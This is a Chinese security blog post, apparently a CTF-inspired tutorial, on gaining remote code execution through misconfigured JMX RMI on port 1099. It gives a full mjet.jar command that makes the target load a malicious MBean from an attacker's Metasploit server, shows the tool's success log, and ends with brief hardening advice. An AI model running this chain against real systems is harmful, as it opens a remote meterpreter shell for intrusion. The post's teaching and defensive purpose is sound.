标注的博客| 安全研究| 渗透测试| APT

首页

开发

作者 zackey 时间 2020-03-04
all

2015年4月16日-恶魔

[+] Author: Demon [+] Team: n0tr00t security team [+] From: http://www.n0tr00t.com [+] Create: 2015-04-16

利用方法 View: Exploiting JMX RMI 写这篇文章的起因是因为 ALICTF 决赛的其中一道题,是关于 @cnbird 出的一道 Linux 渗透的题目,里面涉及了一台机器开启了1099端口。赛后很多同学说对这个利用方式感兴趣,所以整理出来,让小伙伴们以后方便查阅。 1099端口原本对应的服务为 Apache ActiveMQ 对 JMX 的支持,但是由于配置不当,导致攻击者可以通过此端口利用 javax.management.loading.MLet的getMBeansFromURL 方法来加载一个远端恶意的 MBean ,即可以远程执行任意代码。当然,这个 JMX 的利用方法不仅仅在 ActiveMQ 上能够利用,在很多服务支持 JMX 的情况下其实也能够适用。 原文中详细的阐述了这个漏洞的原理分析和Exploit的编写,这里就不再赘述了。如何利用这个漏洞直接调用执行 metasploit 中的 meterpreter payload 呢,国外已经有人写了个 JMX 的利用工具叫mjet,在 Github 上能够搜索到,传送门。利用方法说的很详细,先是通过公网一台机器搭建好 metasploit ,启动一个 java_mlet_server 模块,能够让目标机器去加载恶意代码。然后使用 mjet.jar 这个工具来 Exploit ,具体的命令如下:

java -jar mjet.jar -t target_ip -p 1099 -u http://attacker_ip:8080/mlet/

attacker_ip即自己公网装有 metasploit 的机器IP。执行后如果成功Exploit,会返回以下信息。

--------------------------------------------------- MJET - Mogwai Security JMX Exploitation Toolkit 0.1 --------------------------------------------------- [+] Connecting to JMX URL: service:jmx:rmi:///jndi/rmi://192.168.178.200:1616/jmxrmi ... [+] Connected: rmi://192.168.178.164 5 [+] Trying to create MLet bean... [+] Loaded javax.management.loading.MLet [+] Loading malicious MBean from http://192.168.178.1:8080/mlet/ [+] Invoking: javax.management.loading.MLet.getMBeansFromURL [+] Loaded class: metasploit.Metasploit [+] Loaded MBean Server ID: ptIIirfM:name=BlPwaoHu,id=oWTqfkbE [+] Invoking: metasploit.Metasploit.run() [+] Done

中间执行的过程一目了然。然后在 java_mlet_server 端就反弹了一个 meterpreter session 在后端了。 防御方案 配置中启用SSL客户端证书身份认证。 启用密码方式的授权认证并使用SSL传输。 对JMX RMI的端口做iptables。 参考 http://drops.wooyun.org/papers/178 http://docs.oracle.com/javase/6/docs/technotes/guides/management/agent.html